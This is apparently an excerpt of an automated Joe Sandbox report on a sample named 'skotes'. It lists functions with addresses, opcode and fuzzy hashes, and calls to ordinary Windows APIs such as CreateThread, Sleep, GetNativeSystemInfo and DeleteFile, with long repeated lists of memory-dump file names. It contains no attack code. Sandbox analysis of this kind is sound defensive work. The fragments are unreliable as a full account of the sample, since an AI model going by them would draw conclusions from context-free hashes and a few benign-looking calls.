Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteFile__dosmaperr
String ID:
API String ID: 1911827773-0
Opcode ID: a32e677933e885521f667db97395161538139f258978352556c49c43dfce7bcf
Instruction ID: 897dd48c4e1cb497142a651d7f38142176011a8830089d1408eed7c80478c666
Opcode Fuzzy Hash: a32e677933e885521f667db97395161538139f258978352556c49c43dfce7bcf
Instruction Fuzzy Hash: 8DD0123118620836DA1035B6AC0D967378E8B853747642619B46C956D2EF26C8514455

Function 006A6D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 006A6D11
Sleep.KERNEL32(00007530), ref: 006A6D25

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 149c7f97229be4d49ee75342163900c203296bbbe8270f06cc6c4d3e261a6435
Instruction ID: 08888eaf5a9369778cfe5f4d3279adbea3ee5562e339a7d7903d14c28e6c5d75
Opcode Fuzzy Hash: 149c7f97229be4d49ee75342163900c203296bbbe8270f06cc6c4d3e261a6435
Instruction Fuzzy Hash: AED08C307C4314B6F2203320AC0BF66AA129B0BF51F2D188073183F0D0C2E038004B98

Function 00698380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00698524

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 5d67430a216daeb7146668279f8895676c1b16d24510b97bd5e4edbdae438197
Instruction ID: bf2289457936003f8c680c28ebc6f153e9d91be30c58c806f9828e9abcb28414
Opcode Fuzzy Hash: 5d67430a216daeb7146668279f8895676c1b16d24510b97bd5e4edbdae438197
Instruction Fuzzy Hash: 67512571D002189FDF24EB28CD49BEDB77ADF46310F5042A8E809A7781EF359E848B95

Function 006C7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,006C705B,?,?,00000000,00000000), ref: 006C7166

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: c90e73f19c3519a311998d545fef8aa768e43128d1ba07ef307e1fa912b75cde
Instruction ID: 23e946814ce524ec99de383ab29a8982460ba3b8cbcf72b438f1ecdac47f556b
Opcode Fuzzy Hash: c90e73f19c3519a311998d545fef8aa768e43128d1ba07ef307e1fa912b75cde
Instruction Fuzzy Hash: DD11EC7290410DABDB10DE95C985EEFB7FDEF08320F58526AE511E2180EB30EA49CB61

Function 006CAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 006CAC8D

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: b9855a0438ecec278b2174369d6a748c8af28240eab1633a78f68eaa081cbf0f
Instruction ID: 8afe91d27f83b10c6e0e2e9d1a890e19ffff6a09969ef0034d609ee240c14b6c
Opcode Fuzzy Hash: b9855a0438ecec278b2174369d6a748c8af28240eab1633a78f68eaa081cbf0f
Instruction Fuzzy Hash: B1111571A0420AAFCB05DF98E945E9A7BF5EF48304F054069F809AB351D770EE21CB69

Function 006CB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,440B685B,?,?,006AD3FC,440B685B,?,006A7A8B,?,?,?,?,?,?,00697465,?), ref: 006CB07D

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
